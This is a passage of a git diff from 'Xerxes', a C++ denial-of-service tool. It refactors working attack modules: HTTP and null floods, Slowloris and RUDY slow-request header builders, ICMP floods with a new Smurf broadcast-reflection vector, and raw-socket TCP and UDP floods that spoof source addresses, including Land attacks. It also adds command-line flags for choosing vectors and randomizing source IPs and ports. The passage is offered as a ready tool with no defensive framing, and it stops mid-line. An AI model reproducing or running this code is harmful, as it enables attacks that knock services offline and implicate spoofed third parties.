make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); }else{ if(conf->GetResponse){ read_socket(sockets[x]); } message = std::string("Socket[") + std::to_string(x) + "->" + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); } } message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); pause(); } } @@ -153,23 +156,27 @@ void Http_Flood::attack_ssl(const int *id) { std::vector sockets; std::vector CTXs; std::vector SSLs; + sockets.reserve(static_cast(conf->CONNECTIONS)); + CTXs.reserve(static_cast(conf->CONNECTIONS)); + SSLs.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { - sockets.push_back(0); - SSLs.push_back(nullptr); - CTXs.push_back(nullptr); + sockets.emplace_back(0); + SSLs.emplace_back(nullptr); + CTXs.emplace_back(nullptr); } while(true) { static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { if(!sockets[x]){ - sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); CTXs[x] = InitCTX(); SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); } - const std::string &packet = Randomizer::randomPacket(conf); - if((r = write_socket(SSLs[x], packet.c_str(), static_cast(packet.length()))) == -1){ + std::string header{}; + init_header(header); + if((r = write_socket(SSLs[x], header.c_str(), static_cast(header.length()))) == -1){ cleanup(SSLs[x], &sockets[x], CTXs[x]); - sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); + sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); CTXs[x] = InitCTX(); SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); }else{ @@ -178,27 +185,62 @@ void Http_Flood::attack_ssl(const int *id) { } message = std::string("Socket[") + std::to_string(x) + "->" + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); } } message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); pause(); } } const SSL_METHOD *Http_Flood::GetMethod() { switch (conf->protocol){ - case config::TCP: - return TLSv1_2_client_method(); + case Config::TCP: + return TLSv1_1_client_method(); + case Config::UDP: #ifdef DTLS_ANY_VERSION - case config::UDP: return DTLSv1_2_client_method(); +#else + conf->logger->Log("Unable to find DTLS", Logger::Info); + exit(EXIT_FAILURE); #endif default: return nullptr; } } +void Http_Flood::init_header(std::string& header) { + switch (conf->vector){ + case Config::UDPFlood: + case Config::TCPFlood: + header += Randomizer::randomstr(); + break; + case Config::HTTP:{ + header += Randomizer::random_method() + " /"; + if(conf->RandomizeHeader){ + header += Randomizer::randomstr(); + } + header += " HTTP/1.0\r\nUser-Agent: " + + Randomizer::random_useragent(*(conf->useragents)) + +" \r\nCache-Control: " + Randomizer::random_caching() + + " \r\nAccept-Encoding: " + Randomizer::random_encoding() + + " \r\nAccept-Charset: " + Randomizer::random_charset() + ", " + Randomizer::random_charset() + + " \r\nReferer: " + Randomizer::random_referer() + + " \r\nAccept: */*\r\nConnection: Keep-Alive" + + " \r\nContent-Type: " + Randomizer::random_contenttype() + + " \r\nCookie: " + Randomizer::randomstr() + "=" + Randomizer::randomstr() + + " \r\nKeep-Alive: " + std::to_string(Randomizer::randomInt(1, 5000)) + + " \r\nDNT: " + std::to_string(Randomizer::randomInt(0, 1)) + + "\r\n\r\n"; + break; + } + default:break; + } +} + +void Http_Flood::init_header(std::string& header, bool) { + +} diff --git a/Sources/ICMP_Flood.cpp b/Sources/ICMP_Flood.cpp index 5a008cf..30fafee 100755 --- a/Sources/ICMP_Flood.cpp +++ b/Sources/ICMP_Flood.cpp @@ -1,5 +1,6 @@ #include #include +#include #include #include #include @@ -10,8 +11,9 @@ void ICMP_Flood::attack(const int *id) { int r; std::vector sockets; + sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { - sockets.push_back(0); + sockets.emplace_back(0); } char buf[400]; std::string message{}; @@ -29,14 +31,18 @@ void ICMP_Flood::attack(const int *id) { if((hp = gethostbyname(conf->website.c_str())) == nullptr){ if((ip->daddr = inet_addr(conf->website.c_str())) == -1){ - logger->Log("Can't resolve the host", Logger::Error); + conf->logger->Log("Can't resolve the host", Logger::Error); exit(EXIT_FAILURE); } }else{ bcopy(hp->h_addr_list[0], &ip->daddr, static_cast(hp->h_length)); } - if((ip->saddr = inet_addr(Randomizer::randomIP().c_str())) == -1){ - continue; + if(conf->RandomizeSource){ + if((ip->saddr = inet_addr(Randomizer::randomIP().c_str())) == -1){ + continue; + } + }else{ + ip->saddr = 0; } init_headers(ip, icmp, buf); @@ -53,31 +59,36 @@ void ICMP_Flood::attack(const int *id) { }else{ message = std::string("Socket[") + std::to_string(x) + "->" + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); } } message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); pause(); } } -ICMP_Flood::ICMP_Flood(const config *conf, Logger *logger) : Spoofed_Flood(conf, logger) { +ICMP_Flood::ICMP_Flood(std::shared_ptr conf) : Spoofed_Flood(std::move(conf)) { } void ICMP_Flood::override_headers(icmphdr *icmp, iphdr *ip){ switch (conf->vector){ - case config::ICMPFlood: + case Config::ICMPFlood: icmp->type = static_cast(Randomizer::randomInt(1, 30)); icmp->code = static_cast(Randomizer::randomInt(1, 15)); break; - case config::Blacknurse: + case Config::Blacknurse: icmp->type = ICMP_DEST_UNREACH; icmp->code = ICMP_PORT_UNREACH; break; + case Config::Smurf: + icmp->type = ICMP_ECHO; + icmp->type = ICMP_NET_UNREACH; + ip->daddr = inet_addr(conf->broadcast.c_str()); + ip->saddr = inet_addr(conf->website.c_str()); default:break; } } diff --git a/Sources/Null_Flood.cpp b/Sources/Null_Flood.cpp index 131a001..e568d2d 100755 --- a/Sources/Null_Flood.cpp +++ b/Sources/Null_Flood.cpp @@ -1,13 +1,14 @@ #include - +#include #include "../Headers/Null_Flood.hpp" void Null_Flood::attack(const int *id) { int r; std::vector sockets; + sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { - sockets.push_back(0); + sockets.emplace_back(0); } int socktype = conf->protocol; while(true) { @@ -25,13 +26,13 @@ void Null_Flood::attack(const int *id) { } message = std::string("Socket[") + std::to_string(x) + "->" + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); } } message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); pause(); } } @@ -41,11 +42,14 @@ void Null_Flood::attack_ssl(const int *id) { std::vector sockets; std::vector CTXs; std::vector SSLs; + sockets.reserve(static_cast(conf->CONNECTIONS)); + CTXs.reserve(static_cast(conf->CONNECTIONS)); + SSLs.reserve(static_cast(conf->CONNECTIONS)); int socktype = conf->protocol; for (int x = 0; x < conf->CONNECTIONS; x++) { - sockets.push_back(0); - SSLs.push_back(nullptr); - CTXs.push_back(nullptr); + sockets.emplace_back(0); + SSLs.emplace_back(nullptr); + CTXs.emplace_back(nullptr); } while(true) { static std::string message; @@ -66,17 +70,17 @@ void Null_Flood::attack_ssl(const int *id) { } message = std::string("Socket[") + std::to_string(x) + "->" + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); } } message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); pause(); } } -Null_Flood::Null_Flood(const config *conf, Logger *logger) : Http_Flood(conf, logger) { +Null_Flood::Null_Flood(std::shared_ptr conf) : Http_Flood(std::move(conf)) { } diff --git a/Sources/Parser.cpp b/Sources/Parser.cpp index 80d3065..e2cdc47 100755 --- a/Sources/Parser.cpp +++ b/Sources/Parser.cpp @@ -1,7 +1,8 @@ #include #include #include -#include +#include +#include #include "../Headers/Parser.hpp" @@ -27,10 +28,13 @@ void Parser::help() { " -sf set attack vector to Spoofed Fin Flood\n" " -td set attack vector to Teardrop\n" " -ld set attack vector to Land\n" + " -sm set attack vector to Smurf\n" " -ss enable SSL\n" " -w wait for response\n" " -rh randomize HTTP Header\n" " -ru randomize HTTP UserAgent\n" + " -rs randomize Source IP\n" + " -rp randomize Source Port\n" " -qq set verbosity to quiet quiet\n" " -q set verbosity to quiet\n" " -v set verbosity to verbose\n" @@ -38,6 +42,7 @@ void Parser::help() { " -D set delay in microseconds\n" " -T set number of threads\n" " -C set number of connections per thread\n" + " -B set broadcast address\n" " -target set target ip or url\n" " -port set target port number\n" " -help show help\n" @@ -52,91 +57,16 @@ void Parser::show_banner() { } void Parser::parse_commandline(int argc, const char *argv[]) { + init_arguments(); - for (int i = 1; i < argc; i++){ - if(!strcmp(argv[i], "-h")){ - conf->vector = config::HTTP; - conf->protocol = config::TCP; - }else if(!strcmp(argv[i], "-nu")){ - conf->vector = config::NullUDP; - conf->protocol = config::UDP; - }else if(!strcmp(argv[i], "-nt")){ - conf->vector = config::NullTCP; - conf->protocol = config::TCP; - }else if(!strcmp(argv[i], "-fu")){ - conf->vector = config::UDPFlood; - conf->protocol = config::UDP; - }else if(!strcmp(argv[i], "-ft")) { - conf->vector = config::TCPFlood; - conf->protocol = config::TCP; - }else if(!strcmp(argv[i], "-r")){ - conf->vector = config::Rudy; - conf->protocol = config::TCP; - conf->delay = 10000000; - }else if(!strcmp(argv[i], "-ru")){ - conf->RandomizeUserAgent = true; - }else if(!strcmp(argv[i], "-rh")){ - conf->RandomizeHeader = true; - }else if(!strcmp(argv[i], "-w")) { - conf->GetResponse = true; - }else if(!strcmp(argv[i], "-s")){ - conf->vector = config::Slowloris; - conf->protocol = config::TCP; - conf->delay = 10000000; - }else if(!strcmp(argv[i], "-ss")){ - conf->UseSSL = true; - }else if(!strcmp(argv[i], "-su")){ - conf->vector = config::SpoofedUDP; - }else if(!strcmp(argv[i], "-sy")){ - conf->vector = config::SpoofedSyn; - }else if(!strcmp(argv[i], "-sa")){ - conf->vector = config::SpoofedAck; - }else if(!strcmp(argv[i], "-sr")){ - conf->vector = config::SpoofedRST; - }else if(!strcmp(argv[i], "-sg")){ - conf->vector = config::SpoofedURG; - }else if(!strcmp(argv[i], "-sp")){ - conf->vector = config::SpoofedPUSH; - }else if(!strcmp(argv[i], "-sf")){ - conf->vector = config::SpoofedFin; - }else if(!strcmp(argv[i], "-q")){ - logger->setLevel(Logger::Error); - }else if(!strcmp(argv[i], "-qq")){ - logger->setLevel(Logger::None); - }else if(!strcmp(argv[i], "-v")){ - logger->setLevel(Logger::Warning); - }else if(!strcmp(argv[i], "-vv")){ - logger->setLevel(Logger::Info); - }else if(!strcmp(argv[i], "-i")) { - conf->vector = config::ICMPFlood; - }else if(!strcmp(argv[i], "-b")) { - conf->vector = config::Blacknurse; - }else if(!strcmp(argv[i], "-be")){ - conf->vector = config::Beast; - }else if(!strcmp(argv[i], "-target")){ - conf->website = static_cast(argv[i+1]); - }else if(!strcmp(argv[i], "-port")){ - conf->port = static_cast(argv[i+1]); - }else if(!strcmp(argv[i], "-td")){ - conf->vector = config::TearDrop; - }else if(!strcmp(argv[i], "-ld")){ - conf->vector = config::Land; - }else if(!strcmp(argv[i], "-T")){ - if(Validator::isValidNumber(argv[i+1])){ - conf->THREADS = static_cast(strtol(argv[i+1], nullptr, 10)); + for(int i = 1; i < argc; i++){ + if(arguments[argv[i]]){ + if(argv[i+1]){ + std::string next = std::string{argv[i+1]}; + arguments[argv[i]](next); + }else{ + arguments[argv[i]]((std::string&)" "); } - }else if(!strcmp(argv[i], "-C")){ - if(Validator::isValidNumber(argv[i+1])){ - conf->CONNECTIONS = static_cast(strtol(argv[i+1], nullptr, 10)); - } - }else if(!strcmp(argv[i], "-D")){ - if(Validator::isValidNumber(argv[i+1])){ - conf->delay = static_cast(strtol(argv[i+1], nullptr, 10)); - } - }else if(!strcmp(argv[i], "-version")){ - exit(EXIT_SUCCESS); - }else if(!strcmp(argv[i], "-help")){ - help(); } } check_root(); @@ -145,26 +75,92 @@ void Parser::parse_commandline(int argc, const char *argv[]) { Parser::Parser() = default; -Parser::Parser(config *conf, Logger *logger) : conf{conf}, logger{logger}{ +Parser::Parser(std::shared_ptr conf) : conf{std::move(conf)}{ } +void Parser::check_root() { + if(getuid()){ + conf->logger->Log("You need to be root", Logger::Error); + exit(EXIT_FAILURE); + } +} + void Parser::getUserAgents() { + conf->useragents->emplace_back("Wget/1.16 (linux-gnu/Xerxes)"); std::ifstream filestream("useragents"); std::string line{}; if(filestream.good() & filestream.is_open()){ + long count = std::count(std::istreambuf_iterator(filestream), std::istreambuf_iterator(), '\n'); + filestream.clear(); + filestream.seekg(0, std::ios::beg); + conf->useragents->reserve(static_cast(count) +1); while(getline(filestream, line)){ - conf->useragents.push_back(line); + conf->useragents->emplace_back(line); } filestream.close(); }else{ - logger->Log("Unable to find useragents file", Logger::Warning); + conf->logger->Log("Unable to find useragents file", Logger::Warning); } } -void Parser::check_root() { - if(getuid()){ - logger->Log("You need to be root", Logger::Error); - exit(EXIT_FAILURE); - } +void Parser::init_arguments() { + // Attack Vector + arguments["-h"] = [&](std::string&){conf->vector = Config::HTTP;conf->protocol = Config::TCP;}; + arguments["-nu"] = [&](std::string&){conf->vector = Config::NullUDP;conf->protocol = Config::UDP;}; + arguments["-nt"] = [&](std::string&){conf->vector = Config::NullTCP;conf->protocol = Config::TCP;}; + arguments["-fu"] = [&](std::string&){conf->vector = Config::UDPFlood;conf->protocol = Config::UDP;}; + arguments["-ft"] = [&](std::string&){conf->vector = Config::TCPFlood;conf->protocol = Config::TCP;}; + arguments["-r"] = [&](std::string&){conf->vector = Config::Rudy;conf->protocol = Config::TCP;conf->delay = 10000000;}; + arguments["-s"] = [&](std::string&){conf->vector = Config::Slowloris;conf->protocol = Config::TCP;conf->delay = 10000000;}; + arguments["-su"] = [&](std::string&){conf->vector = Config::SpoofedUDP;}; + arguments["-sy"] = [&](std::string&){conf->vector = Config::SpoofedSyn;}; + arguments["-sa"] = [&](std::string&){conf->vector = Config::SpoofedAck;}; + arguments["-sr"] = [&](std::string&){conf->vector = Config::SpoofedRST;}; + arguments["-sg"] = [&](std::string&){conf->vector = Config::SpoofedURG;}; + arguments["-sp"] = [&](std::string&){conf->vector = Config::SpoofedPUSH;}; + arguments["-sf"] = [&](std::string&){conf->vector = Config::SpoofedFin;}; + arguments["-i"] = [&](std::string&){conf->vector = Config::ICMPFlood;}; + arguments["-b"] = [&](std::string&){conf->vector = Config::Blacknurse;}; + arguments["-be"] = [&](std::string&){conf->vector = Config::Beast;}; + arguments["-td"] = [&](std::string&){conf->vector = Config::TearDrop;}; + arguments["-ld"] = [&](std::string&){conf->vector = Config::Land;}; + arguments["-sm"] = [&](std::string&){conf->vector = Config::Smurf;}; + + // Randomization + arguments["-ru"] = [&](std::string&){conf->RandomizeUserAgent = true;}; + arguments["-rh"] = [&](std::string&){conf->RandomizeHeader = true;}; + arguments["-rs"] = [&](std::string&){conf->RandomizeSource = true;}; + arguments["-rp"] = [&](std::string&){conf->RandomizePort = true;}; + + // Other + arguments["-w"] = [&](std::string&){conf->GetResponse = true;}; + arguments["-ss"] = [&](std::string&){conf->UseSSL = true;}; + arguments["-help"] = [&](std::string&){help();}; + arguments["-version"] = [&](std::string&){exit(EXIT_SUCCESS);}; + + // Logging + arguments["-q"] = [&](std::string&){conf->logger->setLevel(Logger::Error);}; + arguments["-qq"] = [&](std::string&){conf->logger->setLevel(Logger::None);}; + arguments["-v"] = [&](std::string&){conf->logger->setLevel(Logger::Warning);}; + arguments["-vv"] = [&](std::string&){conf->logger->setLevel(Logger::Info);}; + + // Configuration + arguments["-target"] = [&](std::string& target){conf->website = static_cast(target);}; + arguments["-port"] = [&](std::string& port){conf->port = static_cast(port);}; + arguments["-T"] = [&](std::string& thread){ + if(Validator::isValidNumber(thread.c_str())){ + conf->THREADS = static_cast(strtol(thread.c_str(), nullptr, 10)); + } + }; + arguments["-C"] = [&](std::string& connections){ + if(Validator::isValidNumber(connections.c_str())){ + conf->CONNECTIONS = static_cast(strtol(connections.c_str(), nullptr, 10)); + } + }; + arguments["-D"] = [&](std::string& delay){ + if(Validator::isValidNumber(delay.c_str())){ + conf->delay = static_cast(strtol(delay.c_str(), nullptr, 10));} + }; + arguments["-B"] = [&](std::string& broadcast){conf->broadcast = static_cast(broadcast);}; } diff --git a/Sources/README.md b/Sources/README.md new file mode 100644 index 0000000..d9ff8b0 --- /dev/null +++ b/Sources/README.md @@ -0,0 +1,6 @@ + + +# Xerxes +Xerxes Dos Tool Rewritten in C++ + +This Directory contains of all source files for Xerxes Project (except for main.cpp) \ No newline at end of file diff --git a/Sources/Slowloris.cpp b/Sources/Slowloris.cpp index 04dabd6..192b7f4 100755 --- a/Sources/Slowloris.cpp +++ b/Sources/Slowloris.cpp @@ -1,5 +1,6 @@ #include #include +#include #include #include "../Headers/Slowloris.hpp" @@ -8,9 +9,11 @@ void Slowloris::attack(const int *id) { int r; std::vector sockets; std::vector keep_alive; + sockets.reserve(static_cast(conf->CONNECTIONS)); + keep_alive.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { - sockets.push_back(0); - keep_alive.push_back(false); + sockets.emplace_back(0); + keep_alive.emplace_back(false); } while(true) { static std::string message; @@ -19,8 +22,9 @@ void Slowloris::attack(const int *id) { sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); keep_alive[x] = false; } - const std::string &packet = Randomizer::randomPacket(conf, keep_alive[x]); - if((r = write_socket(sockets[x], packet.c_str(), static_cast(packet.length()))) == -1){ + std::string header{}; + init_header(header, keep_alive[x]); + if((r = write_socket(sockets[x], header.c_str(), static_cast(header.length()))) == -1){ cleanup(&sockets[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); keep_alive[x] = false; @@ -31,13 +35,13 @@ void Slowloris::attack(const int *id) { } message = std::string("Socket[") + std::to_string(x) + "->" + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); } } message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); pause(); } } @@ -48,11 +52,15 @@ void Slowloris::attack_ssl(const int *id) { std::vector CTXs; std::vector SSLs; std::vector keep_alive; + sockets.reserve(static_cast(conf->CONNECTIONS)); + CTXs.reserve(static_cast(conf->CONNECTIONS)); + SSLs.reserve(static_cast(conf->CONNECTIONS)); + keep_alive.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { - sockets.push_back(0); - SSLs.push_back(nullptr); - CTXs.push_back(nullptr); - keep_alive.push_back(false); + sockets.emplace_back(0); + SSLs.emplace_back(nullptr); + CTXs.emplace_back(nullptr); + keep_alive.emplace_back(false); } while(true) { static std::string message; @@ -63,8 +71,9 @@ void Slowloris::attack_ssl(const int *id) { SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); keep_alive[x] = false; } - const std::string &packet = Randomizer::randomPacket(conf, keep_alive[x]); - if((r = write_socket(SSLs[x], packet.c_str(), static_cast(packet.length()))) == -1){ + std::string header{}; + init_header(header, keep_alive[x]); + if((r = write_socket(SSLs[x], header.c_str(), static_cast(header.length()))) == -1){ cleanup(SSLs[x], &sockets[x], CTXs[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); CTXs[x] = InitCTX(); @@ -77,18 +86,73 @@ void Slowloris::attack_ssl(const int *id) { } message = std::string("Socket[") + std::to_string(x) + "->" + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); } } message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); pause(); } } -Slowloris::Slowloris(const config *conf, Logger *logger) : Http_Flood(conf, logger) { +Slowloris::Slowloris(std::shared_ptr conf) : Http_Flood(std::move(conf)) { } +void Slowloris::init_header(std::string& header, bool keep_alive) { + switch (conf->vector){ + case Config::Slowloris:{ + if(keep_alive){ + header += "X-a: " + + std::to_string(Randomizer::randomInt(1, 5000)) + + " \r\n"; + }else{ + header += Randomizer::random_method() + " /"; + if(conf->RandomizeHeader){ + header += Randomizer::randomstr(); + } + header += " HTTP/1.0\r\nUser-Agent: " + + Randomizer::random_useragent(*(conf->useragents)) + + " \r\nCache-Control: " + Randomizer::random_caching() + + " \r\nAccept-Encoding: " + Randomizer::random_encoding() + + " \r\nAccept-Charset: " + Randomizer::random_charset() + ", " + Randomizer::random_charset() + + " \r\nReferer: " + Randomizer::random_referer() + + " \r\nContent-Type: " + Randomizer::random_contenttype() + + " \r\nCookie: " + Randomizer::randomstr() + "=" + Randomizer::randomstr() + + " \r\nAccept: */*" + + " \r\nDNT: " + std::to_string(Randomizer::randomInt(0, 1)) + + " \r\nX-a: " + std::to_string(Randomizer::randomInt(1, 5000)) + + " \r\n"; + } + break; + } + case Config::Rudy:{ + if(keep_alive){ + header += Randomizer::randomstr(); + }else{ + header += "POST /"; + if(conf->RandomizeHeader){ + header += Randomizer::randomstr(); + } + header += " HTTP/1.0\r\nUser-Agent: " + + Randomizer::random_useragent(*(conf->useragents)) + + " \r\nCache-Control: " + Randomizer::random_caching() + + " \r\nAccept-Encoding: " + Randomizer::random_encoding() + + " \r\nAccept-Charset: " + Randomizer::random_charset() + ", " + Randomizer::random_charset() + + " \r\nReferer: " + Randomizer::random_referer() + + " \r\nContent-Type: " + Randomizer::random_contenttype() + + " \r\nContent-Length: " + std::to_string(Randomizer::randomInt(100000000, 1000000000)) + + " \r\nCookie: " + Randomizer::randomstr() + "=" + Randomizer::randomstr() + + " \r\nAccept: */*" + + " \r\nDNT: " + std::to_string(Randomizer::randomInt(0, 1)) + + " \r\nX-a: " + std::to_string(Randomizer::randomInt(1, 5000)) + + " \r\n"; + } + break; + } + default:break; + } +} + diff --git a/Sources/Spoofed_Flood.cpp b/Sources/Spoofed_Flood.cpp index 3e1853b..8258380 100755 --- a/Sources/Spoofed_Flood.cpp +++ b/Sources/Spoofed_Flood.cpp @@ -1,8 +1,8 @@ #include - +#include #include "../Headers/Spoofed_Flood.hpp" -Spoofed_Flood::Spoofed_Flood(const config *conf, Logger *logger) : Attack_Vector(conf, logger){ +Spoofed_Flood::Spoofed_Flood(std::shared_ptr conf) : Attack_Vector(std::move(conf)){ } @@ -19,12 +19,12 @@ unsigned short Spoofed_Flood::csum(unsigned short *buf, int len) { int Spoofed_Flood::make_socket(int protocol) { int sock, on = 1; if((sock = socket(AF_INET, SOCK_RAW, protocol)) == -1){ - logger->Log("socket() error", Logger::Error); + conf->logger->Log("socket() error", Logger::Error); exit(EXIT_FAILURE); } if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1){ - logger->Log("setsockopt() error", Logger::Error); + conf->logger->Log("setsockopt() error", Logger::Error); exit(EXIT_FAILURE); } return sock; diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp index 04a5cfd..8e42920 100755 --- a/Sources/Spoofed_TCP_Flood.cpp +++ b/Sources/Spoofed_TCP_Flood.cpp @@ -4,15 +4,17 @@ #include #include #include - +#include +#include #include "../Headers/Randomizer.hpp" #include "../Headers/Spoofed_TCP_Flood.hpp" void Spoofed_TCP_Flood::attack(const int *id) { int r; std::vector sockets; + sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { - sockets.push_back(0); + sockets.emplace_back(0); } std::string message{}; char buf[8192], *pseudogram; @@ -30,14 +32,18 @@ void Spoofed_TCP_Flood::attack(const int *id) { if((hp = gethostbyname(conf->website.c_str())) == nullptr){ if((ip->daddr = inet_addr(conf->website.c_str())) == -1){ - logger->Log("Can't resolve the host", Logger::Error); + conf->logger->Log("Can't resolve the host", Logger::Error); exit(EXIT_FAILURE); } }else{ bcopy(hp->h_addr_list[0], &ip->daddr, static_cast(hp->h_length)); } - if((ip->saddr = inet_addr(Randomizer::randomIP().c_str())) == -1){ - continue; + if(conf->RandomizeSource){ + if((ip->saddr = inet_addr(Randomizer::randomIP().c_str())) == -1){ + continue; + } + }else{ + ip->saddr = 0; } init_headers(ip, tcp, buf); @@ -53,7 +59,7 @@ void Spoofed_TCP_Flood::attack(const int *id) { psh.length = htons(sizeof(struct tcphdr) + strlen(buf)); int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(buf); - pseudogram = static_cast(malloc(static_cast(psize))); + pseudogram = (char *) ::operator new(static_cast(psize)); memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header)); memcpy(pseudogram + sizeof(struct pseudo_header) , tcp , sizeof(struct tcphdr) + strlen(buf)); @@ -67,42 +73,44 @@ void Spoofed_TCP_Flood::attack(const int *id) { }else{ message = std::string("Socket[") + std::to_string(x) + "->" + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); } + + delete pseudogram; } message = std::to_string(*id) + ": Voly Sent"; - logger->Log(&message, Logger::Info); + conf->logger->Log(&message, Logger::Info); pause(); } } -Spoofed_TCP_Flood::Spoofed_TCP_Flood(const config *conf, Logger *logger) : Spoofed_Flood(conf, logger) { +Spoofed_TCP_Flood::Spoofed_TCP_Flood(std::shared_ptr conf) : Spoofed_Flood(std::move(conf)) { } void Spoofed_TCP_Flood::override_headers(tcphdr *tcp, iphdr *ip){ switch (conf->vector){ - case config::SpoofedSyn: - tcp->th_flags = TH_SYN; + case Config::SpoofedSyn: + tcp->th_flags += TH_SYN; break; - case config::SpoofedAck: + case Config::SpoofedAck: tcp->th_flags = TH_ACK; break; - case config::SpoofedRST: + case Config::SpoofedRST: tcp->th_flags = TH_RST; break; - case config::SpoofedPUSH: + case Config::SpoofedPUSH: tcp->th_flags = TH_PUSH; break; - case config::SpoofedURG: + case Config::SpoofedURG: tcp->th_flags = TH_URG; break; - case config::SpoofedFin: + case Config::SpoofedFin: tcp->th_flags = TH_FIN; break; - case config::Land: + case Config::Land: tcp->th_flags = TH_SYN; ip->saddr = ip->daddr; tcp->source = tcp->dest; @@ -111,7 +119,7 @@ void Spoofed_TCP_Flood::override_headers(tcphdr *tcp, iphdr *ip){ } void Spoofed_TCP_Flood::init_headers(iphdr *ip, tcphdr *tcp, char *buf) { - auto s_port = Randomizer::randomPort(); + auto s_port = conf->RandomizePort ? Randomizer::randomPort() : 0; // IP Struct ip->ihl = 5; ip->version = 4; diff --git a/Sources/Spoofed_UDP_Flood.cpp b/Sources/Spoofed_UDP_Flood.cpp index 5222eeb..0c732c8 100755 --- a/Sources/Spoofed_UDP_Flood.cpp +++ b/Sources/Spoofed_UDP_Flood.cpp @@ -4,15 +4,17 @@ #include #include #include - +#include +#include #include "../Headers/Randomizer.hpp" #include "../Headers/Spoofed_UDP_Flood.hpp" void Spoofed_UDP_Flood::attack(const int *id) { int r; std::vector sockets; + sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { - sockets.push_back(0); + sockets.emplace_back(0); } std::string message{}; char buf[8192], *pseudogram; @@ -30,14 +32,18 @@ void Spoofed_UDP_Flood::attack(const int *id) { if((hp = gethostbyname(conf->website.c_str())) == nullptr){ if((ip->daddr = inet_addr(conf->website.c_str())) == -1){ - logger->Log("Can't resolve the host", Logger::Error); + conf->logger->Log("Can't resolve the host", Logger::Error); exit(EXIT_FAILURE); } }else{ bcopy(hp->h_addr_list[0], &ip->daddr, static_cast(hp->h_length)); } - if((ip->saddr = inet_addr(Randomizer::randomIP().c_str())) == -1){ - continue; + if(conf->RandomizeSource){ + if((ip->saddr = inet_addr(Randomizer::randomIP().c_str())) == -1){ + continue; + } + }else{ + ip->saddr = 0; } init_headers(ip, udp, buf); @@ -53,7 +59,7 @@ void Spoofed_UDP_Flood::attack(const int *id) { psh.length = htons(sizeof(struct udphdr) + strlen(buf)); int psize = sizeof(struct pseudo_header) + sizeof(struct udphdr) + strlen(buf); - pseudogram = static_cast(malloc(static_cast(psize))); + pseudogram = (char *) ::operator new(static_cast(psize)); memcpy(pseudogram , (char*) &psh , sizeof (struct 